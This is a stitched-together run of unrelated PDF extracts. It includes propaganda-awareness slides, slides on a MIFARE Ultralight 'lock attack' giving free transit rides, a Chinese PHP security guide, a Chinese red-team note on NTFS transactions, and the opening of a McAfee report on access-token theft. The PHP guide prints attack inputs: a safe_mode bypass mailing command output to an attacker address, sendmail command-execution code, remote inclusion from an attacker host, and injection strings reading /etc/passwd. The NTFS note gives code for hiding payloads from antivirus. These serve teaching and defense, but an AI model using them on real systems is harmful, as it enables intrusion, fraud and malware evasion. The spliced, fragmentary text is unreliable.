(cont) Propaganda - The Basics ● Propaganda - The Basics (cont) ● Propaganda - The Basics ● ID target audience ● ID desired behaviour ● Scan for Vulnerabilities ● Choose the Theme of the message ● Plan for how to grab attention ● Test the message, measure impact, adjust the message as needed. Repeat. ● Ask if the speaker can gain anything from having you listen to the message ● Ask if the source is verified ○ White - Source is identified ○ Grey - Source is unidentified ○ Black - Source is falsified ● Ask if the source is credible ● Ask if you’ve heard the message repeatedly ○ Repetition is key for propaganda, it builds familiarity Steps for the propagandist Self-Defense steps Propaganda - And the 4th estate ● Propaganda Model: ○ Ownership (size and concentration of media) ○ Advertising ○ Sourcing ○ Flak ○ Fear-based boogeymen Propaganda - In the 21st Century ● Foucault’s Heterotopia (Other spaces) ○ A physical representation or approximation of a utopia Propaganda - In the 21st Century (cont) ● How to read online comments: ○ Avoid reading online comments Propaganda - In the 21st Century (cont) Propaganda - Fighting Back ● The human hardware ○ Sleep, exercise, diet ○ Attention spans and concentration levels are like a battery that drain throughout the day ○ Cognitive biases ● The human software ○ Vocabulary ○ Hit the history books ○ Understand statistics and common statistical deceptions ● Machines as our allies ○ Adblockers and other plugins ○ Softbots and scripting ○ Open source heterotopias allow us to create personal media consumption platforms Propaganda - Fighting Back (cont) ● Vocabulary ○ Know the definition of words (i.e. do not skip over them) ○ Know the ‘definition’ of words (i.e. hidden connotations) Propaganda - Fighting Back (cont) Propaganda - Fighting Back (cont) AdBlock uBlock Origin Propaganda - Fighting Back (cont) Propaganda - Fighting Back (cont) Propaganda - Fighting Back (cont) ● Making our reddit platform ○ Digital Ocean Ubuntu Droplet ○ Reddit install script handles most of the hard work ○ EFF’s certbot + Let’s Encrypt ensure it can be run over ssl :D ○ Python softbots automate most of the dirty work Propaganda - Conclusionary remarks ● “If we allow the information superhighway to bypass the less fortunate sectors of our society, even for an interim period, we will find that the information rich will get richer while the information poor get poorer” - Al Gore ● Without proper education of this information superhighway, then the gap between the information haves and have-nots will remain. Propaganda - References Books ● Firewall: The propagandists’s guide to self-defense by Jack Nolan ● Manufacturing Consent by Ed Herman and Noam Chomsky ● Smarter than you think by Clive Thompson ● Propaganda by Edward Bernays ● Data Smog by David Shenk Documentaries ● Manufacturing Consent - Can find it on youtube ● Century of Self - Also on youtube Propaganda - Fin
pdf
Who we are ● bughardy (aka Matteo Beccaro) [email protected] Italian student with passion of IT, networking and pentesting. In 2013 ended his studies in high school and apply for Politecnico of Turin at Computer Engineering. ● Eagle1753 (aka Matteo Collura) [email protected] Italian student, applied for Politecnico of Turin, Electronic Engineering. Has a great passion for Physics. He is studying with bughardy on WiFi networks and security. Loves to solve challenges. History of NFC hacks ● 2008 NFC MIFARE CLASSIC exploit, further in following years. ● 2011 first hack of NFC ULTRALIGHT transport system by U.S. researchers using the RESET ATTACK ● 2013 a new hack of NFC ULTRALIGHT transport system made by us. We called it LOCK ATTACK. What is MIFARE chip? RFID chip designed to work at 13.56MHz.There are millions of MIFARE chip cards worldwide and they belong to several variants: • MIFARE CLASSIC • MIFARE ULTRALIGHT • MIFARE ULTRALIGHT C • MIFARE DESFIRE • etc The history of an hack • First tests, without knowing how OTP was working. • OTP contains the number of rides left!! • Attempt to write something over OTP. There is still a long way • “One the roa.. Er.. On the bus” test! • Stamping more tickets one after the other and looking and comparing their dumps • Empiric results about how data is stored on tickets Seize the day • Assume that you know where the time (of the last stamp) is stored and how • Use a NFC phone / NFC reader to change that field (it is in the data field so there are no problems) • It isn’t so reliable and now we aren’t able to deal with this. Mission Completed • Preventing the machine to write the number of rides left would turn the ticket into an unlimited one. • The answer is: LOCK BYTES Yes, but what is MIFARE ULTRALIGHT? How is it composed? Page Address Byte number Decimal Hex 0 1 2 3 0 0x00 UID 1 0x01 UID 2 0x02 UID INTERNAL LOCK BYTE LOCK BYTE 3 0x03 OTP OTP OTP OTP 4 to 15 0x04 to 0x0F DATA What is OTP? ● Only security function in MIFARE ULTRALIGHT tickets ● 4 bytes, all 00 at first (by default) ● OR operation prevents from turning a bit from 1 to 0 again ● Used for storing rides (just need to turn a bit from 0 into 1). The stamping machine checks the number of “0” left. What is DATA sector? ● Biggest sector, 48 bytes ● It stores details like time (of last stamp), date, station ID, etc ● In the reset attack, it is used to store the number of rides left. ● Working still in progress. ● Decoding how and which data are encoded to the ticket. ● We will provide dumps and info (in the Q&A session) if you would like to help us. Regarding DATA sector “On the road” tests.. • Some empirical results in DATA sector decoding: • :: BYTES DESCRIPTION EXAMPLE 0-24 bytes Locked DATA 01 04 00 00 02 01 02 BE 40 05 AF 00 00 AE 10 A0 61 03 1C 1C B2 2B 61 8E 25-28 Stamping progressive number 43 3B ( 7B 00 ) 29-32 Validator ID ( guessed ) / or Ticket type 04 F8 00 00 33-36 Stamping progressive numer 43 3B ( 7B 00 ) 37-38 Still not guessed 00 3B 00 04 39-40 Ticket type ( guessed ) / or data F8 AE 41-48 Time data ( guessed ) 10 7B B3 02 E6 56 What is LOCK sector? ● 2 bytes ● Each bit can turn 1 page ( 4 bytes ) into read- only mode ● The last 3 bits of first lock byte freeze the bits of the lock bytes themselves L - 7 L - 6 L - 5 L - 4 L - OTP BL – 10 to 15 BL – 4 to 9 BL – OTP L – 15 L – 14 L – 13 L – 12 L – 11 L – 10 L – 9 L – 8 The LOCK ATTACK ● (ab)using the features of MIFARE ULTRALIGHT: the LOCK sector ● Just lock the proper sector (OTP) in order to get infinite rides The LOCK ATTACK: Why? ● Locking the OTP sector we prevent the stamping machine from removing rides stored on our ticket. ● Each time we stamp the ticket the validator checks if we have rides left ● If so it writes on DATA sector data time, etc and tries, without success, to turn bit from 0 to 1 in OTP sector. ● However... Oops... Yes, it is not okay to have always 5 rides on a 5 rides-ticket... LOL How to fix it? ● LOCK ATTACK would be easy to be fixed. – Firmware update: check whether OTP sector is locked or not, if so, just refuse to validate the ticket. – Firmware update: try to unlock the sector, but only if block bits are not enabled. ● TIME ATTACK isn't really easy to be fixed. – Communication between validator and ticket is not encrypted: easy to be sniffed. – Solution: Implementing an encrypted communication Future works... We are actually working on: ● Rewrite the tool in C/C++ without using external tools ● Decoding DATA sector: dumps and infos are available in Q&A section to anyone who would like to help us. ● NFC-enabled phone or a proxmark for further studying. Questions?
pdf
一、Web Web Web Web 服务器安全 PHP 其实不过是 Web 服务器的一个模块功能,所以首先要保证 Web 服务器的安全。当然 Web 服务器要安全又必须是先保证系统安全,这样就扯远了, 无穷无尽。PHP 可以和各种 Web 服务器结合,这里也只讨论 Apache。非常建议以 chroot 方式安装启动 Apache,这样即 使 Apache 和 PHP 及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系 统。但是使用 chroot 的 Apache 后,给应用也会带来一定的麻烦,比如连接 mysql 时必须用 127.0.0.1地址使用 tcp 连接而不能用 localhost 实现 socket 连接,这在效率上会稍微差一点。 还有 mail 函数发 送邮件也是个问题,因为 php.ini 里的: [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = [email protected] 都是针对 Win32平台,所以需要在 chroot 环境下调整好 sendmail。 二、PHP PHP PHP PHP 本身问题 1、远程溢出 PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流 传,成功率非常高: http://packetstormsecurity.org/0204-exploits/7350fun http://hsj.shadowpenguin.org/misc/php3018_exp.txt 2、远程拒绝服务 PHP-4.2.0和 PHP-4.2.1存在 PHP multipart/form-data POST 请求处理远程漏洞,虽然不能获得 本地用户权限,但是也能造成拒绝服务。 3、safe_mode 绕过漏洞 还有 PHP-4.2.2以下到 PHP-4.0.5版本都存在 PHP mail 函数绕过 safe_mode 限制执行命令漏 洞,4.0.5版本开始 mail 函数增加了第五个参数,由于设计者考虑不周可以突破 safe_mode 的 限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加 shell 命令就可以了, 比如存在 PHP 脚本 evil.php: <? mail("foo@bar,"foo","bar","",$bar); ?> 执行如下的 URL: http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected] 这将 id 执行的结果发送给 [email protected]。 对于4.0.6至4.2.2的 PHP 突破 safe_mode 限制其实是利用了 sendmail 的-C 参数,所以系统必 须是使用 sendmail。如下的代码能够突破 safe_mode 限制执行命令: <? # 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样 $script="/tmp/script123"; $cf="/tmp/cf123"; $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?> 还是使用以上有问题版本 PHP 的用户一定要及时升级到最新版本,这样才能消除基本的安 全问题。 三、PHP PHP PHP PHP 本身的安全配置 PHP 的配置非常灵活,可以通过 php.ini, httpd.conf, .htaccess 文件(该目录必须设置了 AllowOverride All 或 Options)进行设置,还可以在脚本程序里使用 ini_set()及其他的特定的 函数进行设置。通过 phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。 如果配置选项是唯一 PHP_INI_SYSTEM 属性的,必须通过 php.ini 和 httpd.conf 来修改,它 们修改的是 PHP 的 Master 值,但修改之后必须重启 apache 才能生效。其中 php.ini 设置的 选项是对 Web 服务器所有脚本生效,httpd.conf 里设置的选项是对该定义 的目录下所有脚 本生效。 如果还有其他的 PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 属性的选项就可以使 用.htaccess 文件设置,也可以通过在脚本程序自身用 ini_set()函数设定,它们修改的是 Local 值,改了以后马上生效。但是.htaccess 只对当前目录的脚本程序生效,ini_set()函数只对该 脚本程序设置 ini_set()函数 以后的代码生效。各个版本的选项属性可能不尽相同,可以用 如下命令查找当前源代码的 main.c 文件得到所有的选项,以及它的属性: # grep PHP_INI_ /PHP_SRC/main/main.c 在讨论 PHP 安全配置之前,应该好好了解 PHP 的 safe_mode 模式。 1、safe_mode safe_mode 是唯一 PHP_INI_SYSTEM 属性,必须通过 php.ini 或 httpd.conf 来设置。要启用 safe_mode,只需修改 php.ini: safe_mode = On 或者修改 httpd.conf,定义目录: <Directory /var/www> Options FollowSymLinks php_admin_value safe_mode 1 </Directory> 重启 apache 后 safe_mode 就生效了。启动 safe_mode,会对许多 PHP 函数进行限制,特别是 和系统相关的文件打开、命令执行等函数。 所有操作文件的函数将只能操作与脚本 UID 相同的文件,比如 test.php 脚本的内容为: <?include("index.html")?> 几个文件的属性如下: # ls -la total 13 drwxr-xr-x 2 root root 104 Jul 20 01:25 . drwxr-xr-x 16 root root 384 Jul 18 12:02 .. -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php 在浏览器请求 test.php 会提示如下的错误信息: Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1 如果被操作文件所在目录的 UID 和脚本 UID 一致,那么该文件的 UID 即使和脚本不同也可 以访问的,不知这是否是 PHP 的一个漏洞还是另有隐情。所 以 php 脚本属主这个用户最好 就只作这个用途,绝对禁止使用 root 做为 php 脚本的属主,这样就达不到 safe_mode 的效果 了。 如果想将其放宽到 GID 比较,则打开 safe_mode_gid 可以考虑只比较文件的 GID,可以设 置如下选项: safe_mode_gid = On 设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini 里safe_mode_exec_dir 指定目录里的程序,而且 shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调 用其它程序,可以在 php.ini 做如下设置: safe_mode_exec_dir = /usr/local/php/exec 然后拷贝程序到该目录,那么 php 脚本就可以用 system 等函数来执行该程序。而且该目录 里的 shell 脚本还是可以调用其它目录里的系统命令。 safe_mode_include_dir string 当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时 越过 UID/GID 检查。 从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径, 而不只是一个目录。 指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一 个指定的目录,那么请 在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。 safe_mode_allowed_env_vars string 设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全 模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能 设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。 注: 如果本指令为空,PHP 将使用户可以修改任何环境变量! safe_mode_protected_env_vars string 本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境 变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。 虽然 safe_mode 不是万能的(低版本的 PHP 可以绕过),但还是强烈建议打开安全模式,在 一定程度上能够避免一些未知的攻击。不过启用 safe_mode 会有很多限制,可能对应用带 来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考 PHP 手册。 讨论完 safe_mode 后,下面结合程序代码实际可能出现的问题讨论如何通过对 PHP 服务器 端的配置来避免出现的漏洞。 2、变量滥用 PHP 默认 register_globals = On,对于 GET, POST, Cookie, Environment, Session 的变量可以直 接注册成全局变量。它们的注册顺序是 variables_order = "EGPCS"(可以通过 php.ini 修改), 同名变量 variables_order 右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本 程 序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击: <? //test_1.php if ($pass == "hello") $auth = 1; if ($auth == 1) echo "some important information"; else echo "nothing"; ?> 攻击者只需用如下的请求就能绕过检查: http://victim/test_1.php?auth=1 这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如 phpnuke 的远程文 件拷贝漏洞 http://www.securityfocus.com/bid/3361 PHP-4.1.0发布的时候建议关闭 register_globals,并提供了7个特殊的数组变量来使用各种变 量。对于从 GET、POST、 COOKIE 等来的变量并不会直接注册成变量,必需通过数组变 量来存取。PHP-4.2.0发布的时候,php.ini 默认配置就是 register_globals = Off。这使得程序 使用 PHP 自身初始化的默认值,一般为0,避免了攻击者控制判断变量。 解决方法: 配置文件 php.ini 设置 register_globals = Off。 要求程序员对作为判断的变量在程序最开始初始化一个值。 3、文件打开 极易受攻击的代码片断: <? //test_2.php if (!($str = readfile("$filename"))) { echo("Could not open file: $filename<BR>\n"); exit; } else { echo $str; } ?> 由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd: http://victim/test_2.php?filename=/etc/passwd 如下请求可以读 php 文件本身: http://victim/test_2.php?filename=test_2.php PHP 中文件打开函数还有 fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要 文件被访问读取。 解决方法: 如非特殊需要,把 php 的文件操作限制在 web 目录里面。以下是修改 apache 配置文件 httpd.conf 的一个例子: <Directory /usr/local/apache/htdocs> php_admin_value open_basedir /usr/local/apache/htdocs </Directory> 重启 apache 后,/usr/local/apache/htdocs 目录下的 PHP 脚本就只能操作它自己目录下的文件 了,否则 PHP 就会报错: Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. 使用 safe_mode 模式也能避免这种问题,前面已经讨论过了。 4、包含文件 极易受攻击的代码片断: <? //test_3.php if(file_exists($filename)) include("$filename"); ?> 这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd 文件: http://victim/test_3.php?filename=/etc/passwd 如果对于 Unix 版的 PHP(Win 版的 PHP 不支持远程打开文件)攻击者可以在自己开了 http 或 ftp 服务的机器上建立一个包含 shell 命令 的文件,http://attack/attack.txt 的内容是 <?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令 ls /etc: http://victim/test_3.php?filename=http://attack/attack.txt 攻击者甚至可以通过包含 apache 的日志文件 access.log 和 error.log 来得到执行命令的代码, 不过由于干扰信息太多,有时不易成功。 对于另外一种形式,如下代码片断: <? //test_4.php include("$lib/config.php"); ?> 攻击者可以在自己的主机建立一个包含执行命令代码的 config.php 文件,然后用如下请求也 可以在目标主机执行命令: http://victim/test_4.php?lib=http://attack PHP 的包含函数有 include(), include_once(), require(), require_once。如果对包含文件名变量 检查不严就会对系统造成严重危险,可以远程执行命令。 解决方法: 要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含 的文件名,绝对不能由用户任意指定。 如前面文件打开中限制 PHP 操作路径是一个必要的选项。另外,如非特殊需要,一定要关 闭 PHP 的远程文件打开功能。修改 php.ini 文件: allow_url_fopen = Off 重启 apache。 5、文件上传 php 的文件上传机制是把用户上传的文件保存在 php.ini 的 upload_tmp_dir 定义的临时目录 (默认是系统的临时目录, 如:/tmp)里的一个类似 phpxXuoXG 的随机临时文件,程序执 行结束,该临时文件也被删除。PHP 给上传的文件定义了四个变量: (如 form 变量 名是 file, 而且 register_globals 打开) $file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG ) $file_size #上传文件的大小 $file_name #上传文件的原始名称 $file_type #上传文件的类型 推荐使用: $HTTP_POST_FILES['file']['tmp_name'] $HTTP_POST_FILES['file']['size'] $HTTP_POST_FILES['file']['name'] $HTTP_POST_FILES['file']['type'] 这是一个最简单的文件上传代码: <? //test_5.php if(isset($upload) && $file != "none") { copy($file, "/usr/local/apache/htdocs/upload/".$file_name); echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>"; exit; } ?> <html> <head> <title>文件上传</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head> <body bgcolor="#FFFFFF"> <form enctype="multipart/form-data" method="post"> 上传文件: <input type="file" name="file" size="30"> <input type="submit" name="upload" value="上传"> </form> </body> </html> 这样的上传代码存在读取任意文件和执行命令的重大问题。 下面的请求可以把/etc/passwd 文档拷贝到 web 目录/usr/local/apache/htdocs/test(注意:这个 目录必须 nobody 可写)下的 attack.txt 文件里: http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt 然后可以用如下请求读取口令文件: http://victim/test/attack.txt 攻击者可以把 php 文件拷贝成其它扩展名,泄漏脚本源代码。 攻击者可以自定义 form 里 file_name 变量的值,上传覆盖任意有写权限的文件。 攻击者还可以上传 PHP 脚本执行主机的命令。 解决方法: PHP-4.0.3以后提供了 is_uploaded_file 和 move_uploaded_file 函数,可以检查操作的文件是否 是用户上传的文件,从而避免把系统文件拷贝到 web 目录。 使用$HTTP_POST_FILES 数组来读取用户上传的文件变量。 严格检查上传变量。比如不允许是 php 脚本文件。 把 PHP 脚本操作限制在 web 目录可以避免程序员使用 copy 函数把系统文件拷贝到 web 目 录。move_uploaded_file 不受 open_basedir 的限制,所以不必修改 php.ini 里 upload_tmp_dir 的值。 把 PHP 脚本用 phpencode 进行加密,避免由于 copy 操作泄漏源码。 严格配置文件和目录的权限,只允许上传的目录能够让 nobody 用户可写。 对于上传目录去掉 PHP 解释功能,可以通过修改 httpd.conf 实现: <Directory /usr/local/apache/htdocs/upload> php_flag engine off #如果是 php3换成 php3_engine off </Directory> 重启 apache,upload 目录的 php 文件就不能被 apache 解释了,即使上传了 php 文件也没有 问题,只能直接显示源码。 6、命令执行 下面的代码片断是从 PHPNetToolpack 摘出,详细的描述见: http://www.securityfocus.com/bid/4303 <? //test_6.php system("traceroute $a_query",$ret_strs); ?> 由于程序没有过滤$a_query 变量,所以攻击者可以用分号来追加执行命令。 攻击者输入如下请求可以执行 cat /etc/passwd 命令: http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd PHP 的命令执行函数还有 system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。 如果要使用一定要严格检查用户输入。 解决方法: 要求程序员使用 escapeshellcmd()函数过滤用户输入的 shell 命令。 启用 safe_mode 可以杜绝很多执行命令的问题,不过要注意 PHP 的版本一定要是最新的, 小于 PHP-4.2.2的都可能绕过 safe_mode 的限制去执行命令。 7、sql_inject 如下的 SQL 语句如果未对变量进行处理就会存在问题: select * from login where user='$user' and pass='$pass' 攻击者可以用户名和口令都输入1' or 1='1绕过验证。 不过幸亏 PHP 有一个默认的选项 magic_quotes_gpc = On,该选项使得从 GET, POST, COOKIE 来的变量自动加了 addslashes()操作。上面 SQL 语句变成了: select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1' 从而避免了此类 sql_inject 攻击。 对于数字类型的字段,很多程序员会这样写: select * from test where id=$id 由于变量没有用单引号扩起来,就会造成 sql_inject 攻击。幸亏 MySQL 功能简单,没有 sqlserver 等数据库有执行命令的 SQL 语 句,而且 PHP 的 mysql_query()函数也只允许执行 一条 SQL 语句,所以用分号隔开多条 SQL 语句的攻击也不能奏效。但是攻击者起码还可以 让查 询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。 解决方法: 要求程序员对所有用户提交的要放到 SQL 语句的变量进行过滤。 即使是数字类型的字段,变量也要用单引号扩起来,MySQL 自己会把字串处理成数字。 在 MySQL 里不要给 PHP 程序高级别权限的用户,只允许对自己的库进行操作,这也避免 了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。 8、警告及错误信息 PHP 默认显示所有的警告及错误信息: error_reporting = E_ALL & ~E_NOTICE display_errors = On 在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。 正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本 所在的物理路径, 为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能 及时修改程序的错误。所以把 PHP 的所有警告及错误 信息记录到一个日志文件是非常明智 的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。 修改 php.ini 中关于 Error handling and logging 部分内容: error_reporting = E_ALL display_errors = Off log_errors = On error_log = /usr/local/apache/logs/php_error.log 然后重启 apache,注意文件/usr/local/apache/logs/php_error.log 必需可以让 nobody 用户可写。 9、disable_functions 如果觉得有些函数还有威胁,可以设置 php.ini 里的 disable_functions(这个选项不能在 httpd.conf 里设置),比如: disable_functions = phpinfo, get_cfg_var 可以指定多个函数,用逗号分开。重启 apache 后,phpinfo, get_cfg_var 函数都被禁止了。建 议关闭函数 phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。 10、disable_classes 这个选项是从 PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。 disable_classes 也不能在 httpd.conf 里设置,只能在 php.ini 配置文件里修改。 11、open_basedir 前面分析例程的时候也多次提到用 open_basedir 对脚本操作路径进行限制,这里再介绍一下 它的特性。用 open_basedir 指定的限制 实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问 限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。 可以设置多个目录,在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。 作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。 四、其它安全配置 1、取消其它用户对常用、重要系统命令的读写执行权限 一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访 问的东西应该越少越好,所以取消其它用户对常用、重要系统命令 的读写执行权限能在程 序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则 在 linux 下可以用/lib/ld- linux.so.2 /bin/ls 这种方式来执行。 如果要取消某程如果是在 chroot 环境里,这个工作比较容易实现,否则,这项工作还是有 些 挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP 的 mail 函数需要 /bin/sh 去调用 sendmail 发信,所以/bin /bash 的执行权限不能去掉。这是一项比较累人的工 作, 2、去掉 apache 日志其它用户的读权限 apache 的 access-log 给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含 PHP 代码的 URL,可以使 access-log 包含 PHP 代码,那么把包含文件指向 access-log 就可以执行 那些 PHP 代码,从而获得本地访问权限。 如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。 当然,如果你按照前面介绍的配置 PHP 那么一般已经是无法读取日志文件了。
pdf
NTFS transactions的研究 之前看到的transacted_hollowing(https://github.com/hasherezade/transacted_hollowing) 和 最近blackhat上 的⼀个议题rope,都⽤到了NTFS事务来达到隐藏⽂件免杀的效果,所以就学习了⼀下NTFS transactions的⼀些操 作。 介绍 NTFS transactions https://docs.microsoft.com/en-us/windows/win32/fileio/about-transactional-ntfs Transactional NTFS (TxF) 是在 Windows Vista 中引⼊的,作为将原⼦⽂件事务引⼊ Windows 的⼀种⽅ 式。它允许 Windows 开发⼈员在具有单个⽂件的事务、涉及多个⽂件的事务以及跨越多个源的事务中进⾏ ⽂件操作的事务原⼦性,例如注册表(通过 TxR)和数据库(例如 SQL)。 虽然 TxF 是⼀组强⼤的 API,但⾃ Windows Vista 以来,开发⼈员对该 API 平台的兴趣极其有限,主要是因 为其复杂性和开发⼈员在应⽤程序开发过程中需要考虑的各种细微差别。因此,Microsoft 正在考虑在未来 版本的 Windows 中弃⽤ TxF API,以便将开发和维护⼯作重点放在对⼤多数客户更有价值的其他功能和 API 上。 Transactional NTFS (TxF)即NTFS事务 和数据库的事务类似,开启事务后,对⽂件的修改、添加、删除都会在单独 的空间中,之后可以使⽤ commit 来提交修改到硬盘上,或者 rollback 回滚到⼀个初始状态。 Transactional NTFS (TxF) 是从Vista开始的,官⽅⽂档说在未来可能不可⽤,但⾄少⽬前的可⽤的。 代码 以transacted_hollowing的代码为例,https://github.com/hasherezade/transacted_hollowing/blob/main/tran sacted_file.cpp 代码主要通过NTFS事务把payload写⼊进去,再从内存加载,我单独将NTFS事务相关的代码提取了出来。 #include <KtmW32.h> #include <iostream> #include <stdio.h> #include "ntddk.h" #pragma comment(lib, "KtmW32.lib") #pragma comment(lib, "Ntdll.lib") DWORD options, isolationLvl, isolationFlags, timeout; options = isolationLvl = isolationFlags = timeout = 0; HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr); // 创建⼀个NTFS事务 if (hTransaction == INVALID_HANDLE_VALUE) { std::cerr << "Failed to create transaction!" << std::endl; return INVALID_HANDLE_VALUE; NTFS 事务在红队中的作⽤ TxF开启事物后,所有的操作在commit之前都不会写⼊硬盘,但是它会返回给你⼀个⽂件句柄,你可以在这⾥进⾏ 正常的读写操作,之前调⽤ RollbackTransaction 函数进⾏回滚,⼜回恢复到初始状态,对操作系统来说,没有 任何的⽂件写⼊。 最重要的是对于杀毒来说,它也⽆法检测到你NTFS事务进⾏的操作。 在下载beacon代码时,可以⽤这种⽅法分段下载代码,或分段解密写⼊到NTFS事务中,最后从NTFS读取后进⾏ 回滚,达到最终⽆⽂件。 } HANDLE hTransactedFile = CreateFileTransactedW(dummy_name, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL ); // 创建事务⽂件 if (hTransactedFile == INVALID_HANDLE_VALUE) { std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl; return INVALID_HANDLE_VALUE; } DWORD writtenLen = 0; // 写⼊⽂件 if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) { std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl; return INVALID_HANDLE_VALUE; } CloseHandle(hTransactedFile); // 关闭⽂件句柄 hTransactedFile = nullptr; // 回滚⽂件 if (RollbackTransaction(hTransaction) == FALSE) { std::cerr << "RollbackTransaction failed: " << std::hex << GetLastError() << std::endl; return INVALID_HANDLE_VALUE; } // 关闭NTFS事务句柄 CloseHandle(hTransaction); hTransaction = nullptr; NTFS 事务也可以⽤作通信,在blackhat议题 rope 中,ntfs当作代码执⾏和通信的⼿段,因为只需要共享⼀个 hTransaction,就可以当作⽂件通信⼀样来做。
pdf
T e c h n i c a l A n a l y s i s o f A c c e s s T o k e n T h e f t a n d M a n i p u l a t i o n REPORT Technical Analysis of Access Token Theft and Manipulation 2 REPORT Table of Contents 3 Introduction 5 Access Token Creation and User Account Control 7 Access Token Manipulation 8 Looking at the Code: Technique 1: CreateProcessWithTokenW 9 Looking at the Code: Technique 2: ImpersonateLoggedOnUser 9 Looking at the Code: Technique 3: CreateProcessAsUser 10 Looking at the Code: Technique 4: SetThreadToken ResumeThread 11 Other SYSTEM Level Processes 14 Coverage 14 MITRE ATT&CK 15 Detecting Access Token Manipulation Attacks 15 YARA Rule 16 Conclusion 16 About the Author 16 Chintan Shah 17 About McAfee 17 McAfee ATR Connect With Us Author This report was researched and written by: ■ Chintan Shah Subscribe to receive threat information. Introduction Privilege escalation is one of the primary tasks malware must perform to be able to access Windows resources that require higher privileges, perform privileged actions (like executing privileged commands, etc.) on the system, and move laterally inside the network to access and infect other systems. Access token manipulation attacks are massively adopted and executed by malware and advanced persistent threats to gain higher privileges on a system after the initial infection. These attacks are also executed to perform privileged actions on behalf of other users, which is known as Access Token Impersonation. When a user is authenticated to Windows, it creates a logon session for the user and returns the user SID (Security Identifier) and SID of the groups to which the user belongs, which is eventually used to control access to various system resources. Local Security Authority (LSA) creates the access token for the user. This access token is primarily a kernel object that describes the security context of the process or the thread, as described here. Subsequently, all the processes started in the context of the current logged-on user will inherit the same access token. An access token has the information about the current user SID, SID of the user group, privileges enabled for the user, Token Integrity level, Token type (Primary or Impersonation token), etc. Technical Analysis of Access Token Theft and Manipulation Technical Analysis of Access Token Theft and Manipulation 3 REPORT Below is an example of some of the information contained in a user’s access token. When the user attempts to access the securable object, or makes an attempt to perform a privileged task, the access token is checked against the respective object’s Discretionary Access Control List (DACL) or System Access Control List (SACL). The attributes set for the user’s or a group’s SID in the access token determines the level of access for the user or group. However, apart from the standard user accounts, Windows typically has many other user accounts under which the processes and services execute, like SYSTEM account, Administrators account, service accounts, etc. If the malware infects 